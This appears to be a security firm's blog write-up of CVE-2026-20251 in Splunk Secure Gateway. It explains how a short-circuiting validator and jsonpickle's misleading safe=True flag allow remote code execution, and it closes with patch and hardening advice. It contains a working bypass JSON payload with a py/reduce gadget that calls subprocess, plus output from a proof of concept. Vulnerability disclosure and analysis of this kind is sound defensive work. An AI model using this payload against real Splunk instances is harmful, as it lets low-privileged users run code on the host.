Skip to main content

Command Palette

Search for a command to run...

CVE-2026-20251: How a Validator Short-Circuit Turns Splunk's KV Store into an RCE Gateway

Updated
•5 min read•View as Markdown
CVE-2026-20251: How a Validator Short-Circuit Turns Splunk's KV Store into an RCE Gateway
R

ReactiveZero delivers advanced penetration testing, red teaming, threat hunting, and digital forensics — led by OSCP, CEH, and CHFI-certified experts. We help organizations neutralize threats across IT, OT, IoT, and cloud environments.

A deep dive into the jsonpickle deserialization chain in Splunk Secure Gateway 3.9.19 — and why safe=True isn't.

Tags: Security, CVE, Python, Splunk, Vulnerability Research


During a white-box vulnerability verification engagement on a local Splunk Enterprise 10.0.6 research instance, I confirmed the reachability of CVE-2026-20251 — an unsafe deserialization bug in the Splunk Secure Gateway (SSG) app that allows any low-privileged authenticated user to achieve remote code execution on the Splunk host.

CVSS score: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

The PoC and engagement report are on GitHub: reactivezero/CVE-2026-20251


Background

Splunk Secure Gateway is a companion app that lets mobile clients interact with Splunk alerts. It reads alert documents from the App Key Value Store (mobile_alerts collection) and reconstructs them into Python objects using jsonpickle.

The problem is that jsonpickle is a serialization library designed for trusted data. When it encounters tags like py/reduce, py/function, or py/object in a JSON document, it doesn't just parse data — it instantiates classes and calls functions. Feeding it attacker-controlled input is essentially the Python equivalent of calling pickle.loads() on untrusted bytes.


The Vulnerable Sink

In bin/spacebridgeapp/request/alerts_request_processor.py, SSG reads an alert document from the KV Store and decodes it:

alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
    raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True)

Two defences are supposed to stand between the attacker and that jsonpickle.decode() call:

  1. A validator — check_alert_data_valid_json()

  2. The safe=True flag on decode()

Both fail.


Why safe=True Doesn't Help

The safe=True parameter in jsonpickle only gates the py/repr tag — the legacy path that called eval() on a Python repr string. It has no effect on:

  • py/reduce → calls _restore_reduce() → executes stage1 = f(*args)

  • py/object → instantiates arbitrary classes via loadclass()

  • py/function, py/type, py/module

With no classes= allowlist passed to decode(), any importable Python class or callable is fair game. The flag is a narrow guard on one old code path — not a general safety switch.


The Validator Short-Circuit

check_alert_data_valid_json() (in alert_helper.py) is supposed to reject dangerous jsonpickle tags. The logic iterates over the top-level keys of the document:

for key, value in data.items():
    if key.startswith("py"):
        if key == "py/id":
            return value.isinstance(int)
        elif key == "py/object":
            return value.startswith("spacebridgeapp")  # returns immediately
        else:
            return False
    # ... recurse into nested values

The bug: the function returns on the very first py-prefixed key it encounters. If that key is a permitted py/object whose value starts with spacebridgeapp, the function returns True without ever looking at the remaining keys in the document.

Python dicts preserve insertion order (since 3.7), and the attacker controls the JSON document they write to the KV Store. So the bypass is trivial:

{
  "py/object": "spacebridgeapp.data.alert_data.Alert",
  "notification": {
    "py/reduce": [
      {"py/function": "subprocess.check_output"},
      {"py/tuple": [["id"]]}
    ]
  }
}

The validator sees py/object first — value starts with spacebridgeapp — returns True. The notification sibling carrying the py/reduce gadget is never examined.


The Full Attack Chain

Step 0  Low-privilege attacker authenticates to Splunk (no admin role needed)
        and writes the bypass document to the 'mobile_alerts' KV Store
        collection via the Splunk REST API.

Step 1  SSG processes an alert fetch for that alert_id.
        check_alert_data_valid_json() short-circuits on the
        "py/object": "spacebridgeapp..." lure key and returns True.

Step 2  The document reaches jsonpickle.decode(..., safe=True).
        jsonpickle loads Alert (importable within Splunk), instantiates it,
        then iterates its stored attributes via
        _restore_object_instance_variables(). When it hits the
        "notification" value, _restore_tags() routes to _restore_reduce():

            stage1 = f(*args)     # jsonpickle/unpickler.py ~line 526

        The attacker-specified callable fires with attacker-specified args.

Outcome  Code execution as the Splunk service account.
         Requires only a valid low-privilege Splunk login.

Proof of Concept

The PoC (poc_cve_2026_20251.py) demonstrates both conditions separately, using a deliberately benign payload (subprocess.check_output(['uname', '-a'])):

Sub-proof A — validator bypass: Feeds the bypass document to the verbatim shipped check_alert_data_valid_json() function and confirms it returns True.

Sub-proof B — py/reduce execution: Feeds the raw gadget document directly to jsonpickle.decode(..., safe=True) and confirms the callable fires — proving safe=True has no effect on this code path.

Together they confirm the full chain without running a weaponised exploit against Splunk.

$ python3 poc_cve_2026_20251.py -h 127.0.0.1

======================================================================
CVE-2026-20251  PoC  --  local research instance only
======================================================================
[*] Target host : 127.0.0.1
[*] jsonpickle  : 3.0.2

----------------------------------------------------------------------
SUB-PROOF A  --  Validator bypass
----------------------------------------------------------------------
[*] Running through check_alert_data_valid_json() ...
    Validator returned : True
    [BYPASS CONFIRMED]

----------------------------------------------------------------------
SUB-PROOF B  --  py/reduce gadget execution (benign: uname -a)
----------------------------------------------------------------------
    [EXEC] subprocess.check_output output: Darwin Macbook.local 25.3.0 ...
    [GADGET CONFIRMED]
    py/reduce fired through jsonpickle.decode(..., safe=True).

A Note on CVE-2026-20253

The same advisory batch includes CVE-2026-20253 (CVSS 9.8) — unauthenticated arbitrary file creation via a PostgreSQL sidecar endpoint. That one was not present on the test instance: the macOS x86_64 build of Splunk Enterprise 10.0.6 simply doesn't ship the PostgreSQL sidecar component. No binaries, no process, no listening port.

This matters: an affected version string is a necessary but not sufficient condition for exploitability. Always verify at the component level before assigning real risk.


Remediation

Patch: Upgrade Splunk Secure Gateway to 3.9.20+, 3.10.6+, or 3.8.67+. Upgrade Splunk Enterprise to 10.0.7+ / 10.2.4+ / 10.4.0+.

Short-term workarounds (if patching is delayed):

  • Disable the Splunk Secure Gateway app if it is not actively used

  • Restrict KV Store write access — enforce least-privilege roles and review ACLs on the mobile_alerts collection

Defensive engineering pattern: Never pass externally-influenced stored data into jsonpickle.decode() (or any deserialization primitive that reconstructs arbitrary types). Replace it with a strict schema-validated parser, or at minimum supply an explicit classes= allowlist to decode(). And make sure validation routines fully traverse nested structures — a short-circuit on the first recognised key is exactly the kind of logic error that turns a validator into a rubber stamp.


Fady Oueslati · ReactiveZero Security Research · June 2026 GitHub: reactivezero/CVE-2026-20251